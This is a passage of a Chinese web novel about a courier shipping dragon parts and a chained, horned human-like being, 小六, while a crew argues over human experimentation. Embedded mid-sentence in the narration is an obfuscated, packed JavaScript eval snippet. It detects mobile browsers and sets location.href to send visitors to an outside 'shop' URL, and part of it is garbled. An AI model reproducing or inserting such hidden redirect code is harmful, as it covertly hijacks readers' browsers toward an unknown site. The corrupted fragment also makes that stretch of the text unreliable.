“行。”小象摸出手机。 航行第六日,船只即将抵达目的地,小象早上来到甲板上发现这里的船员变多了,多在四处张望,神色严肃。 这时候人脉的重要性就凸显出来了,小象摸出手机询问小三发生了什么。 “我不知道。”小三说。 “我对你很失望。”小象说。 对方的消息气泡起起伏伏,最后,小三说道,“航行记录说是昨天有非乘客上船,现在所有船员在到处搜。” “听上去很恐怖。”小象说。 “好啦!我承认这算我失职,谁能想到就那一点点时间会有人窜上来?这又不是什么豪华游轮。”小三说道,“总之我要去工作了,今晚八成得加班。” 话虽如此,小象觉得昨日开船前不能算是小三的工作时间。或许是为了防止恐慌情绪蔓延,并没有广播告知乘客这一突发状况,但四处多出的警卫还是引起了一定注意力。小象今日没多在甲板上停留,心想如果那人只是普通地想搭个船那还好,若不是那就不太好了。 一整日的搜寻并没有得到结果,深夜,小象的手机忽然大震,小三来电。 “你现在最好带着那家伙来一趟监控室。”她的声音是疲惫的沙哑。 “发生了什么?”小象一边穿衣服一边问,心里有不好的预感。 “…先过来吧。”小三说着,挂断了电话。 叫醒有起床气而且被这消息气到的小一,二人快步往上赶,楼梯间,有几个船员也脚步匆匆地向下方走去。二人抵达监控室,小三向她们展示了原因—— ——船头货舱内,有几个箱子的门被打开了,小象本次的工作内容也在其中。 “是那个非法上船的人做的。”小三头也不回地解释道,“之前就有别的箱子被打开,但都在监控的死角所以我没发现,这个人…对这艘船很了解。” “…你和我一起下去。”小一对小象冷声道,她身上这六天来积累的闲适在此一瞬间就消失无踪了。 “你们不能去。”小三回头,眼下青黑也晃了过来,“你们是乘客,本来就不该知道这个消息,我们会解决好,你们——” “谁管你们怎么想?”小一急切道,“赶紧走!” 说着她就向外跑去。 “…我会尽可能找个合适的理由的。”小象说道。 “…别说是我。”小三捏着眉心说完,转过身继续看屏幕。 一路向下,小象无视多句“乘客不要过去”和阻拦,与小一进入货舱,这里的冷气不比船尾那处足,但也不适合任何人居住。不远处,船员所围拢的中心,那不是乘客也不是船员的人被警卫制服在地,低声诉说着什么。 小象从人墙外围朝里看,那人面孔隐约有些熟悉,她仔细一想,竟是小二,多日不见她消瘦许多,上次航行时遇到的那对未来充满希望与幻想的年轻人在二十多天里被消磨殆尽了,留下的只有一个怯弱的,带着伤疤的,没买票就跑上船翻别人箱子的非法入侵者。 “抱歉,抱歉,我太冷了…我…”她一直试图解释着些什么,但没人听,压着她的警卫一动不动,看着她的船员谈论着别的话题,小五皱眉抱臂沉默,不知在想些什么。 有人动了,小一用力扒开人墙朝里走去,无视所有人——也包括地上的小二,在所有人惊异的眼神中冲向她那开了口的箱子,小象也跟了过去,沿途她与小二目光相接,很快错开,小二身体一震,低下头不再说话了。 就和小一之前所说的一样,箱子里确实有个和罐头长相差不多的容器,银白色金属光泽在被注视时一闪而过,小一上前在操作面板上确认了一番,总算是松了口气。小象也是,这玩意要是又出事那她麻烦大了。 “那两个人…不是乘客吗?”有船员议论。 “你们两个怎么在这里?”小五走上前问道。 “这我的箱子。”小一说着把门小心合上了,小五没回应,依旧盯着她。 “我们俩下船被宰客了气得睡不 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“…有问题你们找警察,我们现在就走。”小象说着看向小一,“看完箱子了?” “走吧。”小一对小象说着打了个哈欠。 “是小三告诉你们消息的吧。”小四继续说道,用担心的语气。 “…我不是说了理由?”小象皱眉。 “但是,有人看见你们先上去了一趟,是去找她的对吧?”小四说着摊开了手,“我不是在怀疑什么,我只是担心,大家也是如此,而且如果想否认的话,让小三自己来说不就行了?” “其实。”有个角落的船员开口,“其实我看见她今天鬼鬼祟祟地下船了!还特地做了伪装。” “那岂不是故意的?” “这样一说,这个人混上船后能藏这么久不也是…” “对啊,监控室就她一个嘛!这就是她的问题!” “她下船是去买零食…”小象开口,但声音很快就被淹没了。 “行了。”小五开口道,“现在也抓到人了,今晚就——” “船长。”小四靠近小五,用压低但谁都听得见的声音开口,“大家只是希望小三能出来解释一下,这是不是她故意的行为。你也看见了,大家今天都很紧张,精神与身体都很累,如果这样说两句话就能证明这和她无关,那多简单呀。” “…我不是说了…”小象说,但没人回应她的话。 “所以我们能走了不?”小一说道,所有人忽然安静了下来看向她,她浑然不在乎,又打了个哈欠,“对啊我们是乘客,我们能去休息了吗?” 说着,她看向小四,笑了声问道,“你也少管人家不乐意跟着你的人是怎么想的了,这儿又没人在乎那套理论,你不知道?” “…我不过是想帮大家解决问题。”小四说道,转过头与效益对视,货舱安静了些许,空调噪音逐渐占据上风。 “…今天很晚了,大家都去休息吧。”小五开口道,“这件事原因不在我们任何人,等到了目的地后把这人交给警察,我会去问问小三发生了什么,具体等我通知开会。” 在场的船员面面相觑,都没再说什么了。而原本伏在地上不说话的小二听见这句话后忽然挣扎着想起身说些什么,但被身后的警卫按住了。不久后人群散去,小五在最后将货舱的门再次锁上了。 “你们准备怎么处置她?”小象问小五。 “先找个地方关着,上岸后移交给海关的,其实你不用太担心,她顶多就是被遣返,这样的我见过不少了。”小五揉了揉眉心,看上去也有些疲惫了。 “她这样的?”小象疑惑,“经常有人跑上你们船吗?” “不止。”小五摇了摇头,“年轻人,在停靠点下船后因为各种原因没有按时回来,身份,语言能力或者资金都没有,在陌生的地方困难地生活了一段时间后,大多数会想办法再坐上回去的船。不过她能藏到现在确实奇怪,我会去问问她。” 说着,她又叹了口气,“谢谢你刚才帮小三说话。” “…不也没用?”小象摇了摇头,说道,“她确实是去买零食的,也说自己那样下船只是不想让你看见。” “…我知道。”小五说。 “你知道?”小象疑惑,“那你知道她为什么这样吗?” 小五沉默了许久,随后她像是下定决心了般,看向小象,开口时语气落得很重,“因为很久以前,她在船上和其它船员争吵后,我对她说了‘待在里面不要出来’这样的话。” 她的声音太沉了,即使在空荡的走廊也回荡不起来,小象轻轻叹了口气,看向角落里闪着红光点的监控探头,不知小三会如何理解她们二人站在这里的画面。会用猜的吗?还是说会想尽办法去找线索,但就是不愿意去亲口问问本人呢? “…你自己处理吧。”小象回过头说,“她也好,小四也好,你的船员也好,你一个船长至少把船上的事情处理好吧?” “当然。”小五笑了。 航行第七日,船只抵达港口,所有乘客下船。 本次工作到此结束,小象看着被直升机带走的箱子,转头问小一,“所以,它是什么动物?” “…龙。”小一抬着头说,无论几次说出这个名字,她的心里都是充满重量与自豪的。 “…什么?”小象怀疑自己听错了。 “龙,一头龙。”小一重复,看向小象,认真地说,“我们公司探险队的人在一处林中沼泽盆地发现了一具体型巨大的动物尸体,还有基础的生命体征但对任何刺激都没有反应。她们将发现告知了本地野生动物管理局,结果那不是先例。沟通之下我们获得了那具尸体的研究权。” “…所以,只是你们把它当作是龙而已。”小象有些失望,“都没说是什么龙,而且它可能不是龙,也可能根本没死只是睡着了吧。” “你怎么说都可以。”小一并没有生气,反而笑了,“但是,我们的标准总有一天会变成你们的标准的。” “好吧。”小象没再纠结,“上次是肉,这次是什么?” “心脏。”小一说,“龙有两颗心脏,一大一小,这是大的那颗。” 14. 船与箱中之物-下-1 时间再过去半个月,小象接到了下一阶段任务开始的通知,她再次抵达出发港口,这次要送的货就只有普通行李箱大小,也确实由她随身携带,小一并没有出现。这次运输过程就和她以前的工作内容差不多了,除了得坐船。 资料上说,这次行李箱里装着一只猫。 如果这是真的那小象的所作所为基本是在犯罪,好在至少她提前确认过自己的责任,也提前知晓了箱中并非动物而是动物身体部件。但真是如此吗?她看向那铁皮行李箱,心想万一这次里面确实是只普通的猫,这或许是那群科学家的某种动物实验也说不定。 还是不要这样想了,小象摇了摇头,带着行李前往客舱。而她也在甲板上看见了一个令她出乎意料的熟人,是小二,她与半个月前又有些不同了,更平静了些,她穿着船员马甲,但头发依旧是一丝不苟地整齐着。她正与边上的其它员工一起聊着天,身上的十字架也与那些人没什么区别,好像统一的装饰一样。 愣神间,小象被身后涌来的乘客一挤,下意识地向前扶,结果掌侧被墙边的缺口划拉出一道见血的口子,身后那人见了连连道歉,抬手招呼船员,小二赶来,与小象对视后顿了顿。 “…是出血了,这种情况我无法处理,请去医务室找船医小四吧。”她看了伤口后,这样平静地说着,“小四医生会照顾好你的。” 随后,她抬手给指了路,又回到其它船员身边去了,仿佛根本没想起小象是谁似的。 小象缓慢地收回自己的手,先带着行李箱离开了。她摸出手机,上次和小三联系还是半个月前下船的时候,她的信号就像与船上网络绑定了,下船即失去联系。 “小二怎么来你们船上当员工了?”小象问道,又补充道,“好久不见。” “好久不见,虽然你现在也看不见我吧。”小三回复的很快,“过程挺复杂,总之上次到港之后,她听说自己会被遣返就一直哭。船上几个人,尤其是小四就觉得她可怜,船上也确实一直缺医务卫生相关的助手,小二说自己是护士,船长就把她留下了。” 说完这些,她的聊天气泡一直起起伏伏,小象就等着,等到最后,那气泡居然就直接消失了。 “然后呢?”小象问道。 “总之她现在是船员了,和船上的人相处得不错。”小三回复,“具体怎么不错我不知道,就看见她们老一起聊天。” “行吧。”小象没再纠结,“后来船长找你聊过了吗?” 气泡再次起起伏伏了起来,小象这次没等对面打字,说道,“你不说我就去问小五。” 对面气泡果然消失了,小三沉默片刻,说道,“聊过了聊过了,你非得知道内容吗?” “也不是,我想知道结果。”小象说。 “结果就是你看到的这样,船上的人该怎么样就怎么样。”小三说。 该怎么样就怎么样,小象抬头,看见船尾处工作甲板上,扶着栏杆瞭望员说着什么朝船长室挥了挥手,皮手套反了光,船长室的大玻璃前有船员对其挥手回应,随即广播让乘客做好起航准备,下方有机械声,是货舱旁那橙黄色的辛勤起重臂终于能滑动着收拢,两侧的船员也挥手,大幅度转动着收起手臂粗的揽绳,数米高的船身下,粘着船身与海浪的舷梯升起,汽笛长鸣,随后船就这样与陆地断开联系,船启航,船变为了在海上飘行向目的地的一座孤岛。 身后,声音没入海风,航迹碎入浪花,船上的乘客短暂地失去了来处与去处,有的眺望海岸边的点点灯光,有的朝航行方向看。但船员该怎么样就怎么样,她们有工作要去完成,她们的目的地就在船上。 小象忽然就能理解了,为什么小四不愿意离开这艘船。海实在是大而广,在这里,陆地上的一切都无法追上来,无论好的坏的。一口唾沫大小的海就足够叫人害怕地往地上跑,所以如果没有岸,那就上船。 航行第二日,小象在餐厅见到了小二,她加入了圆桌之中,正仔细倾听着某个话题,小四说了什么,她顿了顿,其它船员笑了,她也笑了。她好忙,小象没去找她。 航行第三,第四日,风平浪静无事发生。 航行第五日,船在第三国停靠。小象之前就知道这的港口实在没什么有趣之处,这次便没有下船,而是在甲板上找了个地方待着。但或许是因为这角落是她精心选择的,也有另一个人看上了这里,是小二,她看着有些疲惫,独自一人漫不经心地朝这角落走来,到头了才发现这早有人在。 “…是你啊。”她勉强地笑了笑,身前的十字架挂坠晃着。 “好久不见了。”小象点了点头,“想坐就坐吧。” “哦,哦。”小二迅速找了个位置坐下,将手放在膝盖上低着头,局促得连小象都变得有些尴尬了起来。 “…船员生活怎么样?”小象主动找话题问道。 “…还,还不错。”小二回答,“大家都挺友好的,之前,我造成了很大的麻烦吧,但还是被留下了…” “在船上都做些什么?”小象问道。 “打扫打扫卫生,有人受伤了帮忙包扎一下,之类的。”小二说着笑了笑,“小四医生说自己不擅长急救工作,所以才有我的工作呢…” “我还以为你会去厨房工作呢。”小象一边看书一边随意说道,“我记得,你之前说自己准备当面包师傅来着。” 说着说着,小象停了下来看向一旁的小二,她沉默不语,表情低落。 “…哦,不必担心我。”她抬起头笑了笑,“只是,对,厨房那不缺人手了,而且我根本不会烤面包啦,上次只是我开玩笑的,没想到你还记着呢。” “…这样啊。”小象没再说什么,低下头继续看起了书。 “诶,你不下船走走吗?”小二努力地挑起话题,“乘客几乎都下去了呢,脚踏实地的感受可是相当不错的。” “我之前下去走过,这没什么有意思的。”小象低着头说,“你呢?你不下去吗?” 说完,她就想起小二大概也和她一样,是对这处港口没什么好印象的,果不其然,她脸上的笑容不自觉地消失了。 “…我还是不下去了。”她的声音落着许多负面情绪,“这里附近的人,不太友好,所以…” “确实。”小象努力找补,“上次,你还记得小一吗?上次她在港口差点被当游客宰了,幸好有我看着呢。” “对吧!”小二赞同地连连点头,“这里的人看你不会说这里的语言就会骗你的!看着一个个可亲切了,但底线低得没眼看,上次我就——” 她的声音突然收住了,小象叹了口气说,“上次看你那样我也能猜到点,也亏你能待那么久,辛苦你了。” “…不会。”小二笑了,带着些熟悉的羞涩,“抱歉,啊,我也该和那位小一道歉的,她看上去非常担心…” “她也算是你上次被迫下船的罪魁祸首了,下次再见到她就骂她几句吧,说不定她会帮你申请补偿呢。”小象说道。 “…其实,那也算是我自作自受吧。”小二叹了口气,“其实,那次是有人帮忙处理后续问题的,但当时有一个当地人请我吃饭,说觉得和我有缘,有个薪水很高的外国翻译工作推荐我去。结果我到了才发现其实和诈骗差不多,还有人一直看着,我跑出来差点没被打死…” “哇…”小象感慨道,“现在还能在这里看到你也算是一种幸运了。” “哈哈哈!”小二笑了。 “那你为什么不回家呢?”小象问道,“在那个地方很辛苦吧,船员也挺辛苦的,而且这艘船上的员工氛围,还挺排外的。” 先前小象就看出来,小二接受过不错的教育,原先的生活条件并不差,至少不需要她在非自愿的情况下漂泊在海上。 “…不。”小二轻声说,“我不会离开这艘船的。” 她看向远处的岸边,眼里有坚定的,陌生的排斥,像是在夜里看见了漆黑的小路,即使那才是她来的地方。她这句话让小象想起了小三,但小二才上船多久,怎么有机会将陆地视作自己的敌人。 “这里就很好。”小二握住自己的十字架,微笑着看向小象说道,“谢谢你担心我,但是,但是这里对我而言就是最好的…我们总会遇到难事的,现在我所面对的这些比起其它来说不算什么,所以…我待在这里就 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“哎呀!那可不行吧。”船员握住晃在马甲前的十字架说,“这样对待生命可不道德…诶这到底是啥?不能说就算了。” “好吧,别问了,其实我也不知道。”小象如实说,又问道,“你们这艘船上的人怎么都信这个,是跟那船医学的?” “是,小四医生可是有大学问的,基本什么都知道。”船员笑了,比划道,“我不是说她会造船什么的,她总知道什么时候该做什么事,什么该不该做,什么是对的错的。这可是很难的,有她在我们才能相处这么和谐,她人很好,你见过她了吗?” “见过…”小象思索着说,“所以,你们其实也不信教啊,你们只是在照着她说得做,这样不是很奇怪吗?她又不是警察。” “奇怪就奇怪喽,反正我们船上的人都这样,就不奇怪了。”船员无所谓道。 “但是这样的话,如果你们总出现谁个自己想法的人,那就难办了吧。”小象说着,想起了小三。 “嗯…我不太懂,反正在船上生活就别想着和大家对着干嘛。”那船员笑了,“而且付出才有回报,至少在这里有什么矛盾小四医生都会调解的。她看上去很亲切吧,但处理起这些事是不顾私情的,所以才能让大家信服呀?” “不顾私情,那顾的是什么呢?”小象问道。 “神说的话什么的,好像有本书讲的这个,小四医生讲道理都引用典故呢,不愧是读过很多书的人啊…”船员敬佩道。 所以小三之所以难以与船员沟通,部分原因是参考文本不同啊,小象了然。 “这样啊。”小象点了点头,“那希望她少碰童话书吧,不然你们有得受的。” 航行第七日,船只靠岸,小象带着行李箱下船,发现来交接的人是小一,看来上次她与那颗心脏一同靠岸后就留在了这里,或许是因为水土不服,她看上去疲惫得差点没让小象认出来,海风把她吹得很乱,只有靠近嘴边的一点红是鲜明的,她抽着烟。 “…好久不见。”她用沙哑的声音打招呼,把烟丢在地上踩灭。 “好久不见。”小象将行李箱停靠在身前,“在总公司发展如何?” 闻言,小一突然笑了声,她伸出手理了理头发,露出的脸属于长期熬夜者,“如果我说很烂呢?”她说道,眼神只在她曾经为之侧夜难眠的货物上停留了不到一秒。 “那你回去不就行了,怎么,你回去就当不成组长了?”小象疑惑。 小一沉默许久,扯过行李箱拉杆说道,“说了你也不懂,走了。” “…这次我送的是什么?”小象问道。 “猫。”小一回答,小象当然不信,就看着她,片刻后,小一再次开口说,“你就当是猫吧,或者疑神疑鬼随便乱猜,反正,这就是你最后一次和我们合作了。” “合同上可不是这样说的,而且,你们找到别的方法运输它了?”小象问道。 “…随便你怎么想吧。”小一说着,转过身招了招手。 “…再见。”小象说道。 15. 船与箱中之物-下-2 虽然小一是那样说的,但约一个月后,小象依旧收到了来自该公司的联系邮件,老地点,老熟人,老时间。她站在出发港口等待自己要送的货物,但直到乘客全都登上了船都没等到,要不是她和小五提前沟通过,那舷梯都要收起来了。 按照资料,这次的货物是一只大型鹦鹉。 一辆车姗姗来迟,急停在她身前激起一震尘烟,靠近她的一侧乘客下车,是小一,她还是回到了这里,但回到熟悉环境没让她舒适多少,她看上去糟透了,临近期末周的图书馆都找不出几个她这样看上去随时会猝死过去的人。 “…真是,好久不见了。”小一看着小象,露出个难看的笑脸,挤出来的眼部弯折配合黑眼圈看上去像在故意吓人。 “好久不见。”小象觉得也没那么久,她看着两手空空的小一,疑惑道,“就你一个?” 这时,车的另一侧车门被司机打开,另一位乘客下车,没有道谢,她就那样安静地走到了小一的身边站定。带着宽大帽檐的兜帽遮去她容貌大半,两手空空,但的手腕上扣着显眼的金属手环,脚脖子上也是,脖子上也是,她拥有一张美丽而沉静的忧郁面孔与卷发,正对小象时一言不发,像是在等谁去问她在烦心些什么,好让那眉间皱纹松开。 “…这是小六,你这次要运输的,货物。”小一僵硬地介绍道,“你应该记得我和你说的,她,它就是那头龙。” “…啥呀。”小象诧异地看向小六,她什么也没说,表情也没有变化。 “反正,反正就是这样,你总该见过类似的东西吧。”小一说着,抬手掀起小六头上的帽檐,她的发间——具体而言是额头的两侧,太阳穴之上,存在着一副漆黑的角,蜿蜒精致远超小象所见过任何一种兽角,更像是某种艺术品。 小象确实见过这样的画面,从故事书中,从插画上,但绝不是从现实中,她的视线从那漆黑双角落回那张人类的面孔上,小六的视线正落向远方海面,不知在想什么,也对自己被如何对待毫不在意。 手机振动,是小五在催促,小象收回视线说道,“总之先上船,你们有准备她的房间吧?” 小一转身从车行李舱拎出了一个手提箱,低声说,“它必须被安置在特殊的容器里,我提前安排好了,走吧。” 说着她快步朝船上走去,小六沉默无声地跟上了,小象看着她,怀疑她会不会说话。龙会说人类的语言吗?她还记得那块巨大的肉,就单单那一块就有四五个正常人类的体积,那一头龙的思维与□□要如何才能被塞进一个人的身躯里,那真的是人类做得到,能做的事情吗? 而且,小象回想起最为不合理的一点,先前小一可是说过,那头龙对她们而言已经是一具尸体了。 承载着船上的一切,船只启航了。 三人隐蔽地来到客舱,小一打开了走廊最深处房间的门,再往里就只有通常不被允许使用的逃生通道。 客房门之内还有一扇铁栅栏门,让那内部的简陋空间看上去像个牢房,这就是所谓的“特殊容器”,她拉开那扇栅栏门,指着里面对小六说道,“你,住这里面,这七天你不能出来知道吗?需要什么就按检测器信号键。” 小六什么也没说,顺从而平静地走进了房间里,她确实听懂了小一在说什么。 “…喂。”她看向小一,“即使她真是头龙,不如说既然她是你们那宝贝试验品,就对她好点啊。” 小一没有回答这过于外行的质疑,她沉默着关上栅栏门,落锁,关上房间门,落锁,表情称得上冷静到像在做实验,但或许是因为那紧绷的精神状态,她的手指微微颤抖。随后这房间和里面的存在就这样被藏起来了,这处角落相当隐蔽。 “…它,不是她。”小一看向小象说道,“她只是看上去像个人类而已。” “好吧,好吧,那就当它是什么神秘未知动物。”小象说,“你知道现在对动物也得讲人道主义了吗?” 这句话确实让小一动摇了,她退后一步,脸颊抽搐着动了起来,忽然脚下甲板颠簸了一下,她俯下身捂住胃部,忍不住干呕了一声,。 “…你没事吧?”小象吓了一跳,她自己都不知道那句话还有那样大的杀伤力。 “…你什么都不知道,做好你的事就行,不要多问了。”小一起身,摇了摇头,转身,蹒跚地走向了自己的房间。 链接上船上网络后,小三的消息抵达了小象的手机。 “我看见你们带了个神秘人上来,那是谁啊?”她直接就问了。 但小象根本就不知道该怎么答,难道直接说是龙吗?“小一公司里的,她不和我说,我也不知道。”她如实回答。 “不会和之前你送的那些东西有关系吧?”小三怀疑道。 “确实都和她们公司有关。”小象说。 “她们公司不是搞生物实验的吗?那怎么看都是个人吧,难道是人体实验?”小三问,其实小象也是这样想的,但看小一那样子就没直接问。 “我真不知道,按理来说不该,她们之前的实验都是合乎法规的动物实验,犯不着突然跳到人身上吧。”小象说。 “这可说不准啊。”小三说道,又问,“而且她看上去状态也太差了,生病了吗?” “工作问题吧。”小象说。 小三没再说什么,但显然没放下自己的怀疑,小象也是,她觉得小六或许是能沟通的,但两把锁都锁上了,她想和人家聊聊也做不到。 航行第二日,晨间,小象听到船员间有人在聊关于船上有个神秘人的事情,但与先前小二那次不同,这次的氛围更偏向娱乐。 “…谁传开的消息?”小一没有被娱乐到,她气势汹汹地冲向一个船员质问道,“你们从哪听来的这个消息?” “哇啊!”那人被吓一跳,生气道,“就是听说的啊,你,你干什么啊?!我们讨论一下而已你干什么反应这么大?” 小一放开了她,咬着牙转身向顶层跑去,小象连忙跟上,就看见她直冲监控室的门,一边用力敲击一边喊道,“给我开门!喂你出来!” 她的行为加上狰狞神情实在称得上吓人,已经有警卫围了上来,但第一个上前拽住她的人是小五。 “你发什么疯?”她拦住了小一继续敲门的手。 “喂,之前不是说好了你不会干涉我们的行为?”小一挣扎着说,“我们要求了全程隐秘吧,现在你的船员都在谈这件事你知道吗?!” 此时,监控室的门略微开了一条缝,小三小心地探出头来,问小象,“她干什么啊…吓死人了。” “…就是,她带一个神秘人上船的消息,是不是你传出去的?”小象问道,随即她自己都觉得不可能。但她看见小三抿着嘴不说话,心里有了些不好的预感。 “喂!”小一挣开小五的手,朝小三质问道,“是不是你?” “我,我不是——”小三说着就把门给关上了,小一无论怎么敲都没用,她气喘吁吁地扒着门,不知在想什么。 “那些船员也没多认真在讨论你们的事,只是把这件事当个话题而已。”小象劝到,“应该过不了几天就换话题了,别担心。” “你能保证吗?”小一突然抬头,布满血丝到眼白中,瞳孔颤抖着,“你能保证没有任何一个人感到好奇,并尝试去接触,它?” 小象做不到,因为她就是好奇者之一,“至少有门挡着呢。”她安慰道,“两扇门,你自己上的锁,钥匙也都在你手里。” 这句话倒是安慰到了小一,她没再用要让眼珠子跳出来的力气蹬眼睛,她思索了一会,无视那些为她而来的警卫和小五匆匆离去了。 “所以,这件事真的和小三有关系吗?”小象问小五。 “…我不知道。”小五扶了扶额头,“但是,昨天她所在房间门口走廊的警报被按响了,有警卫过去看,似乎是听见那门里有动静,这传言就传开了。” 那肯定就是小三干的了,小象了然,又注意到了小五的用词,“她?指的是谁?” “你们带上来的那个乘客,不是一位女士吗?”小五反而疑惑道。 “…差不多吧。”小象含糊地说,又问道,“上一次你说自己看过那箱子里的东西,那是什么?” “…一副眼球,单颗就有我屋子里地球仪那么大。”小五说,“如果说那是龙的眼球,那倒也说得过去。” “你见过龙?”小象意外道。 “…漫画中的。”小五理了理衣领,看向了别处。 小象没再说什么,只是想到,如果说上次她将龙的眼珠子送去了别的国家,那么小六眼眶中的那副又是什么呢?难道说龙有多双眼睛吗? 小一回到自己的房间后带了些东西来到小六门口,小象过去时就看见她在往门上加额外的挂锁。 “…反正现在已经有人起疑了。”她盯着挂锁,执着地说,“就这七天,要保证这七天没人看得见她。” 小象无法理解她的想法,突然,她听见门内隐约传来歌声,是小六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296735|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哼唱着些什么,她的房间内没用任何娱乐设施,也没有窗,歌声就只能在门内回荡。门外,小一对那歌声充耳不闻,小象没有阻止她的行为。 航行第三日,小二私下找到小象,询问关于那处房间上挂锁的事情。 “…其实,之前我被找出来后,也是被关在那个房间里的。”她的表情担忧,“那是个很冷很冷,灯泡还坏掉了的空房间,我待两天不到就很难受了。但有船员说听见了里面传出了人的歌声,这是真的吗?” “…我…我只能说,那房间现在确实不是空的。”小象不知道该怎么回答这个问题,但看见她的犹豫,小二的表情却变得坚定了起来,小象忍不住问道,“即使真的是这样,你想怎么样?” “…不是我,是我们。”小二微笑道,“我们解救了我,那么,我们就也该解救下一个我。” 说完,她就转身离开了。小象不知道她们会怎么做,但她不会阻止,也不会把这件事告诉小一。 因为她自己也好奇那门内的货物到底是什么。 航行第四日,船员们带来锯子与房间门的钥匙,砍下了挂锁,打开了那两扇门中外面那扇客房门。门内光线昏暗,空荡荡的房间里,小六蜷缩着靠在墙角,朝门外那些站在光里的人投去视线。 小一当然试图去阻止她们了,但几个警卫将她压住,她只能看着小四走上前,抓着铁栅栏朝里看去,看着她拿手电筒朝里照,看见镣铐与黑角反光略过这些人的眼睛。 接下来,她们一定会开始同情,小一这样想着,没再抵抗。 “咚——”手电筒滚落在地,小四脸色煞白,不可置信地退后了两步,其它人接连上前看向门内的小六,接而哗然。 “那是什么?”很多人问小一,用愤怒而惊异的语气。但更多的人则是将“人体实验”这四个字直接说出了口。 也有人问小象,她便回答说,“她说,那是一头龙。”这样毫无可信度的回答。 “…那是一头龙。”有人支持了这一论点,用凝重,仓促,干哑的声音,小四再次说道,“她,不,它确实是一头龙。” 船员中激起一整疑问,有人去问小六,但她根本不说话,甚至除去一开始被吸引了一会注意力之后,她就又看向了房间角落,仿佛对这群人类毫无兴趣一般。 “那就是一头龙。”小四坚定地说,“我们出发港口那处国家曾经发现过多次它的尸体,虽然我不知道为什么它会以这样的形式出现并被送往别的地方,但毫无疑问,那就是龙。” 小四一遍遍地重复她的话,并多次加以证据支持。于是,船员们逐渐接受了这一论点,平静了下来。 “那,那怎么看都是人类啊?!”小二脱口而出,但当有视线聚集于她,她又呢喃着说不出话。 “…小二,难道说你见过龙吗?”小四此时神色已经恢复了平静,“我知道的,也见过,那就是龙。” “可是——” “我保证,那就是龙,而不是人类。”小四举起一只手,“不要再为这件事烦心了,大家,我们还有工作呢。” 这句话落下,船员们逐渐散开,被压着的小一也恢复了自由,但那扇客舱门依旧开着,裸露出丑陋的铁栅栏,以及被囚禁其中的美丽存在。 “那,那不是…”小二还在呢喃着。 “…一群蠢货。”小一说着,上前将那扇门合拢。 “那就是人类啊!”小二看向小一,惊恐而愤怒地说,“我听见她说话,听见她唱歌了,如果说她有知性还能沟通的话,那不就是——” “…那又怎样?”小一冷眼看向小二,“它有知性,能沟通,它就是人类了?别开玩笑了,你的标准是哪来的?” “…我的意思是,如果能沟通的话,我们就不该像对待牲畜一样对待她。”小二有些害怕,但依旧坚持说道。 “闭嘴吧!”小一惊怒道,“她是道德法庭承认的存在!那是人类道德的指标,道德法庭承认她是一头龙,你凭什么拿别的道德枷锁来指责我们的行为?!” “那,那不过是你们为了利益而促成的吧!”小二握紧拳头,低头说道,她说话时用尽全力,身前的十字架晃了晃。 “你——”小一深吸一口气,脚下晃了晃没站稳,向后退了一步靠在了小六门上,她瞬间像是挨到脏东西一样跳开了,语气也冷静了些,“这与你无关,你的态度没有意义,也什么都做不到,别来烦我了。” 说完,她略过满脸怒色的小二离开了。 16. 船与箱中之物-下-3 “…那就是人类。”小二还坚持如此,“她,不过是为了实验而故意无视这一点而已…” “可小四也这么说了。”小象说,“她之前可是很厉害的学者,也说自己见过。她都这样说了我们也没法再说什么,她总不能是在说谎吧?” “…对啊,小四医生为什么要说谎呢?”小二疑问。 “我不是这个意思。”小象无奈道。 “不。”小二摇了摇头,认真道,“我之前问过小四医生,如果一只动物与人类寿命相仿,能沟通,而且能与人产生联系,那我们该如何看待它。小四医生说——” “那就该把它当作人类来对待。”小四看着电脑打字,皱着眉说,“我那时确实那样说了,但这次的情况不同,它显然没有与我们交流的意愿对吧?” “但,但那可能是因为她之前遭受过什么虐待。”小二努力地措辞,“我听见她唱歌了,所以——” “…小二,你太年轻了。”小四叹了口气,看向小二轻声道,“有些事情背后的情况太复杂,比起简单地判断对错,离远一点才是正确的选择。” “…这就是你选择躲在船上的原因?”小二失望道,“想离岸上那些复杂的事情远一点?” 说完,她才意识到自己说了什么,道了歉,脸色苍白地站起身跑出了医务室。 “…那头龙,以及之前那些东西,都是你们带上这艘船的。”小四看向小象说道,脸上没了笑意,“或许你只是为了工作,但她,那位小一,清楚地知道自己在做什么吧。她看上去为此感到愧疚,但它已经站在那里,那么她要做的就不是自我谴责,而是去忏悔,并且付出行动。” “…你真的认为那是一头龙?”小象疑问,“你这样说,不就是知道那是人体实验的产物。” “那家公司的实验我以前听说过一些。”小四皱眉看向电脑屏幕,“分公司不提,主公司的实验目标重点在器官功能上。而当她们试图研究某个器官时,通常会使用一整具身体作为素材载体,看见它时,我马上就知道了那是她们公司的实验。” “…所以你知道。”小象有些意外,“那你为什么要那样说?” “…你见过龙吗?”小四问道。 “完整的话,没有。”小象摇头。 “我见过,虽然只是尸体,但那是与人类差别巨大,体型如山峦一般的,会造成大面积毁坏的残暴生物。”小四皱眉轻声说,“那种生物的器官绝不可能被放进人类的身体里,但是…” 她的面色忽然平静了下来,随即双手握拢,闭上了眼,“但是,它就在那里,它就在那里,她们成功了,是神应允了这一行为。” “…好吧。”小象不知道该说什么,问道,“你说的那些我都清楚,你知道龙有几双眼睛吗?” “一对,是捕食者的分布样式。”小四回答得很快。 “这样…”小象若有所思,若真是如此,那小六更不可能是一条纯粹的龙了——至少眼睛不是。 “…你知道忒修斯之船吗?”小四问道,没有睁开眼。 “知道一些。”小象读过相关的故事,“一艘船的每个部件都被换过之后还算不算原来那艘船,是这个主题对吧?” “没错。”小四点头,“为完成那一实验,它全身上下所有的部位都一定被改造过,那对角就是证据。而若它还是原先那个人类,那么它绝无可能存活,但靠神的保佑,它存活了,也不可能再是原先那个人类,所以它就是那头龙。这是神的意志,人类的判断标准毫无意义,小二太年轻,太固执,没能理解这一点。” 